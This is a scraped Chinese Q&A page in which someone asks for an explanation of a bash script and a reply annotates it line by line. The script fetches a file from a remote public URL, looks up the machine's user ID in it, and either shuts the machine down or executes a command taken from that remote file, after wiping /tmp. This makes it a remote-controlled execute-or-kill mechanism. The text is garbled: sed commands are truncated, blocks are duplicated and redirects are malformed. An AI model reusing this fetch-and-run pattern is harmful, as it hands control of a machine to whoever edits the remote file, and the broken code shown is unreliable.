当前位置: 技术问答>linux和unix
翻译下这段shell
来源: 互联网 发布时间:2016-05-19
本文导语: 举报此留言 回复 引用 删除 留言时间: 2009年02月12日 15点21分 #!/bin/bash userid=$(cat /etc/user-id) cd /tmp wget http://www.google.com/notebook/public/05207131999953681374/BDQVSDQoQipvVqdYj && echo ok >/etc id || echo no >/etc id...
举报此留言 回复 引用 删除 留言时间: 2009年02月12日 15点21分
#!/bin/bash
userid=$(cat /etc/user-id)
cd /tmp
wget http://www.google.com/notebook/public/05207131999953681374/BDQVSDQoQipvVqdYj && echo ok >/etc id || echo no >/etc id
mv BDQVSDQoQipvVqdY* keygen
userinfo=$(cat keygen | grep $userid | sed -e 's/
{//g' -e 's/}
rm -fr /tmp/*
if [[ $(echo $userinfo|awk -F, '{print $2}') = n ]]
then
shutdown -t secs 5 &
else
echo OK-$userid >/dev/tty2
echo "userid=$(cat /etc/user-id)" >/tmp/doit
echo $(echo $userinfo|awk -F, '{print $4}') >>/tmp/doit
chmod 755 /tmp/doit
/tmp/doit
rm -fr /tmp/doit
shutdown -c
fi
|
#!/bin/bash
userid=$(cat /etc/user-id) #给userid赋值,值的内容为文件/etc/user-id文件中的内容
cd /tmp #切换到目的/tmp下
wget http://www.google.com/notebook/public/05207131999953681374/BDQVSDQoQipvVqdYj && echo ok >/etc id || echo no >/etc id #从以上网址处得到文件BDQVDQoQivVqdY
mv BDQVSDQoQipvVqdY* keygen #改文件DBQVDQoQivVqdY的文件名为keygen
userinfo=$(cat keygen | grep $userid | sed -e 's/
//g') #/显示keygen文件,从中找到与userid匹配的用户信息。userid=$(cat /etc/user-id) #给userid赋值,值的内容为文件/etc/user-id文件中的内容
cd /tmp #切换到目的/tmp下
wget http://www.google.com/notebook/public/05207131999953681374/BDQVSDQoQipvVqdYj && echo ok >/etc id || echo no >/etc id #从以上网址处得到文件BDQVDQoQivVqdY
mv BDQVSDQoQipvVqdY* keygen #改文件DBQVDQoQivVqdY的文件名为keygen
userinfo=$(cat keygen | grep $userid | sed -e 's/
{//g' -e 's/}
rm -fr /tmp/* #删除刚才/tmp/目录中的所有文件,即keygen
if [[ $(echo $userinfo|awk -F, '{print $2}') = n ]]
then
shutdown -t secs 5 &
else
echo OK-$userid >/dev/tty2
echo "userid=$(cat /etc/user-id)" >/tmp/doit #将用户的id输出到文件/tmp/doit中
echo $(echo $userinfo|awk -F, '{print $4}') >>/tmp/doit #将用户的信息追加到/tmp/doit中
chmod 755 /tmp/doit #修改/tmp/doit文件的权限为owner可读可写可执行。group,other可读可执行
/tmp/doit
rm -fr /tmp/doit #删除文件/tmp/doit
shutdown -c
fi